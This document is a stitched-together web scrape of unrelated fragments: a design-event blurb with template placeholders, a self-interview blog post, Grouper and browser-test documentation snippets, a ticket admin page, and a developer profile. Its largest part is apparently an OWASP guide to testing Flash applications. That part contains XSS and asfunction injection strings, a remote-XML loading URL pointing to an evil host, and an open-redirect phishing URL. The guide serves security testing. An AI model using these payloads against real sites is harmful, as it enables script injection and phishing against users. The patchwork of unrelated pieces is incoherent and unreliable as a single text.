Like our speakers, design is about creating “solutions” rather than “artifacts.” In our practice, projects starts with a “creative briefs” — which offer insights and guidance on how to take projects from initial concept to successful completion. The intricate collaborative partnership between designer and client must begin with an articulated set of objectives and goals. Briefs summarize of all the factors that can impact a design project.
Though all of our speakers may not have kicked off their endeavors with a creative brief, we want to empower our community with the notion of our process’s relevance outside of our profession. We also want to educate present and future design advocates about the importance of design thinking.
{{ evt.venue.description }}
{{evt.venue.address_1}}


Q and A for me
I love reading interviews. Whether it is an interview of Kevin Ma, founder of the magazine known as Hypebeast, or an interview of Derek Sivers, entrepreneur who reportedly said No to selling his business for millions of dollars, I get to find out a bit more about these people.
So, one day, I thought, how about I interview myself? Then others can find out more about me. [chuckles].
But… what would I ever ask myself?
Thankfully, I found some questions that were addressed to the public, on the social-network web-site known as LinkedIn, and guess what, I answered them!
And now, I collect my answers to those questions, in this blog-post! Ta-dah! I have an interview… of myself! (Although others asked those questions).
[clears throat]. Let’s start the interview!
How are you challenging yourself in 2020? - Elisha
My challenge for myself so far, in 2020, is to balance my time on social media - or, more broadly speaking, my time on an electronic computing device - with my time off the Internet. It would be interesting to see how I can do this in the light of a trend towards webinar(s) and work-from-home, set against a background of virus-news, virus-concerns, virus-fretting, virus-worrying and virus-scares.
What has been one project or assignment in which you broke the rules and had fun in the creative process? - Joseph
I once took an undergraduate-course on Composing Music in the Classical Style (for example, in the style of Mozart). For an assignment in that course, I wrote a musical work that appears to be thoroughly twentieth-century, instead of looking eighteenth-century. My course-instructor did not accept my work, but I still had fun. (I’ve realised the importance of surrounding myself with people who value creativity and innovation - which is not everyone, and I certainly don’t really appreciate flattery and/or smooth talk, either).
Tell me what is your oops-boo-hoo moment this week, and what you learnt from it. - Phing
An “oops-boo-hoo” of mine, as you call it? I run a blog where I post photos from my trips to art-galleries in Sg. Art-hunting, if you will. But I got a little lost; something didn’t feel right (about such blogging) anymore. I asked the person known, on LinkedIn.com , as Alin Sneha Abraham, for her perspective on the matter; I said I wasn’t sure if my blogging was adding value to the world. Alin said something to the effect that it is more important that I enjoy myself; that way, at least one person benefits. So my oops-boo-hoo was to overlook my own enjoyment of the activity in question. I concluded that I liked visiting galleries, but posting photos on social media? Not so much.


Grouper loader is a generic loading utility for grouper that automatically manages lists
Documentation is available via the 'Grouper loader' on
the Grouper Project wiki
https://wiki.internet2.edu/confluence/display/GrouperWG/Grouper+-+Loader
The Unresolvable Subject Deletion Utility (usdu) is a Grouper API extension
which finds and optionally deletes members whose subjects can not be resolved
by their source.


The data displayed in the tables of this document was gathered by running
scrolling/overflow-hidden.html.
The test focused an element in a scrollable container to see if and how the
container was repositioned to show the focused element. The values left
,
right
, … refer to the section of the focused element being aligned.
| Chrome | Safari | Firefox | Internet Explorer | |||
|---|---|---|---|---|---|---|
| Element | Expected | 40.0 | 8.0.3 | 35.0 | 11.0 | Notes |
Vertical in overflow block |
||||||
| more than required space | bottom | center | center | bottom | bottom | top when tabbing backwards |
| required space | top | center | center | top | top | |
| less than required space | top | center | center | top | top | |
Horizontal in overflow block |
||||||
| more than required space | right | center, partial | center, partial | right, partial | right | Gecko, Blink and WebKit won't scroll the container horizontally if the focused element is partially visible |
| required space | left | center | center | left | left | |
| less than required space | left | center | center | left | left |


Limit Number of Tables to Convert
To avoid accidentally exporting extremely large number of tables from schemas accidentally, we set the default limit to 200. Override it here if you know you want more results than that.


Summary
ActionScript is the language, based on ECMAScript, used by Flash applications when dealing with interactive needs. There are three versions of the ActionScript language. ActionScript 1.0 and ActionScript 2.0 are very similar with ActionScript 2.0 being an extension of ActionScript 1.0. ActionScript 3.0, introduced with Flash Player 9, is a rewrite of the language to support object orientated design.
ActionScript, like every other language, has some implementation patterns which could lead to security issues. In particular, since Flash applications are often embedded in browsers, vulnerabilities like DOM based Cross-Site Scripting (XSS) could be present in flawed Flash applications.
How to Test
Since the first publication of "Testing Flash Applications" [1], new versions of Flash player were released in order to mitigate some of the attacks which will be described. Nevertheless, some issues still remain exploitable because they are the result of insecure programming practices.
Decompilation
Since SWF files are interpreted by a virtual machine embedded in the player itself, they can be potentially decompiled and analysed. The most known and free ActionScript 2.0 decompiler is flare.
To decompile a SWF file with flare just type:
$ flare hello.swf
it will result in a new file called hello.flr.
Decompilation helps testers because it allows for source code assisted, or white-box, testing of the Flash applications. HP's free SWFScan tool can decompile both ActionScript 2.0 and ActionScript 3.0 SWFScan
The OWASP Flash Security Project maintains a list of current disassemblers, decompilers and other Adobe Flash related testing tools.
Undefined Variables FlashVars
FlashVars are the variables that the SWF developer planned on receiving from the web page. FlashVars are typically passed in from the Object or Embed tag within the HTML. For instance:
<object width="550" height="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0">
<param name="movie" value="somefilename.swf">
<param name="FlashVars" value="var1=val1&var2=val2">
<embed src="somefilename.swf" width="550" height="400" FlashVars="var1=val1&var2=val2">
</embed>
</object>
FlashVars can also be initialized from the URL:
http://www.example.org/somefilename.swf?var1=val1&var2=val2
In ActionScript 3.0, a developer must explicitly assign the FlashVar values to local variables. Typically, this looks like:
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
var var1:String = String(paramObj["var1"]);
var var2:String = String(paramObj["var2"]);
In ActionScript 2.0, any uninitialized global variable is assumed to be a FlashVar. Global variables are those variables that are prepended by _root, _global or _level0. This means that if an attribute like:
_root.varname
is undefined throughout the code flow, it could be overwritten by setting
http://victim/file.swf?varname=value
Regardless of whether you are looking at ActionScript 2.0 or ActionScript 3.0, FlashVars can be a vector of attack. Let's look at some ActionScript 2.0 code that is vulnerable:
Example:
movieClip 328 __Packages.Locale {
#initclip
if (!_global.Locale) {
var v1 = function (on_load) {
var v5 = new XML();
var v6 = this;
v5.onLoad = function (success) {
if (success) {
trace('Locale loaded xml');
var v3 = this.xliff.file.body.$trans_unit;
var v2 = 0;
while (v2 < v3.length) {
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
++v2;
}
on_load();
} else {}
};
if (_root.language != undefined) {
Locale.DEFAULT_LANG = _root.language;
}
v5.load(Locale.DEFAULT_LANG + '/player_' +
Locale.DEFAULT_LANG + '.xml');
};
The above code could be attacked by requesting:
http://victim/file.swf?language=http://evil.example.org/malicious.xml?
Unsafe Methods
When an entry point is identified, the data it represents could be used by unsafe methods. If the data is not filtered/validated using the right regexp it could lead to some security issue.
Unsafe Methods since version r47 are:
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );
flash.external.ExternalInterface.call(_root.callback)
htmlText
The Test
In order to exploit a vulnerability, the swf file should be hosted on the victim's host, and the techniques of reflected XSS must be used. That is forcing the browser to load a pure swf file directly in the location bar (by redirection or social engineering) or by loading it through an iframe from an evil page:

This is because in this situation the browser will self-generate an HTML page as if it were hosted by the victim host.
XSS
GetURL (AS2) / NavigateToURL (AS3):
The GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript 3.0 lets the movie load a URI into the browser's window.
So if an undefined variable is used as the first argument for getURL:
getURL(_root.URI,'_targetFrame');
Or if a FlashVar is used as the parameter that is passed to a navigateToURL function:
var request:URLRequest = new URLRequest(FlashVarSuppliedURL);
navigateToURL(request);
Then this will mean it's possible to call JavaScript in the same domain where the movie is hosted by requesting:
http://victim/file.swf?URI=javascript:evilcode
getURL('javascript:evilcode','_self');
The same when only some part of getURL is controlled:
Dom Injection with Flash JavaScript injection
getUrl('javascript:function('+_root.arg+'))
asfunction:
You can use the special asfunction protocol to cause the link to execute an ActionScript function in a SWF file instead of opening a URL. Until release Flash Player 9 r48 asfunction could be used on every method which has a URL as an argument. After that release, asfunction was restricted to use within an HTML TextField.
This means that a tester could try to inject:
asfunction:getURL,javascript:evilcode
in every unsafe method like:
loadMovie(_root.URL)
by requesting:
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode
ExternalInterface:
ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction for both ActionScript 2.0 and ActionScript 3.0.
From a security point of view it could be abused when part of its argument could be controlled:
flash.external.ExternalInterface.call(_root.callback);
the attack pattern for this kind of flaw should be something like the following:
eval(evilcode)
since the internal JavaScript which is executed by the browser will be something similar to:
eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')
HTML Injection
TextField Objects can render minimal HTML by setting:
tf.html = true
tf.htmlText = '<tag>text</tag>'
So if some part of text could be controlled by the tester, an A tag or an IMG tag could be injected resulting in modifying the GUI or XSS the browser.
Some attack examples with A Tag: - Direct XSS:
- Call a function:
- Call SWF public functions:
-
- Call native static as function:

IMG tag could be used as well:

 (.swf is necessary to bypass flash player internal filter)
Note: since release Flash Player <IP_ADDRESS> of Flash player XSS is no longer exploitable, but GUI modification could still be accomplished.
Cross-Site Flashing
Cross-Site Flashing (XSF) is a vulnerability which has a similar impact as XSS.
XSF Occurs when from different domains:
- One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it
- XSF could also occurs when an HTML page uses JavaScript to command an Adobe Flash movie, for example, by calling:
- GetVariable: access to flash public and static object from JavaScript as a string.
- SetVariable: set a static or public flash object to a new string value from JavaScript.
- Unexpected Browser to SWF communication could result in stealing data from the SWF application.
It could be performed by forcing a flawed SWF to load an external evil flash file. This attack could result in XSS or in the modification of the GUI in order to fool a user to insert credentials on a fake flash form. XSF could be used in the presence of Flash HTML Injection or external SWF files when loadMovie* methods are used.
Open redirectors
SWFs have the capability to navigate the browser. If the SWF takes the destination in as a FlashVar, then the SWF may be used as an open redirector. An open redirector is any piece of website functionality on a trusted website that an attacker can use to redirect the end-user to a malicious website. These are frequently used within phishing attacks. Similar to cross-site scripting, the attack involves a user clicking on a malicious link.
In the Flash case, the malicious URL might look like:
http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-spoofing-website.org/phishEndUsers.html
In the above example, an end-user might see the URL begins with their favorite trusted website and click on it. The link would load the trusted SWF which takes the getURLValue and provides it to an ActionScript browser navigation call:
getURL(_root.getURLValue,"_self");
This would navigate the browser to the malicious URL provided by the attacker. At this point, the phisher has successfully leveraged the trusted the user has in trusted.example.org to trick the user into their malicious website. From their, they could launch a 0-day, conduct spoofing of the original website, or any other type of attack. SWFs may unintentionally be acting as an open-redirector on the website.
Developers should avoid taking full URLs as FlashVars. If they only plan to navigate within their own website, then they should use relative URLs or verify that the URL begins with a trusted domain and protocol.
Attacks and Flash Player Version
Since May 2007, three new versions of Flash player were released by Adobe. Every new version restricts some of the attacks previously described.
| Attack | asfunction | ExternalInterface | GetURL | Html Injection |
| Player Version |
| v9.0 r47/48 | Yes | Yes | Yes | Yes |
| v9.0 r115 | No | Yes | Yes | Yes |
| v9.0 r124 | No | Yes | Yes | Partially |
Result Expected:
Cross-Site Scripting and Cross-Site Flashing are the expected results on a flawed SWF file.
Tools
References
OWASP
Whitepapers


Open Ticket Support
Admin Panel
Logout
Display Settings
Show All
50 Tickets
100 Tickets
200 Tickets
Export as CSV
Title
Fullname / Organization
<EMAIL_ADDRESS>Content Here
UUID:<PHONE_NUMBER>e0d21a00-2201-419e-6fb0-9f826f9b5129
TIMESTAMP: 2020-04-25T23:34:52.1505371+08:00


A Developer
Welcome to my page.
Developing blogging,e-commerce website
Learning about algorithms.
Contact to get your website designed which is high on demand and less on pocket.
© 2020 Medhavi Basera.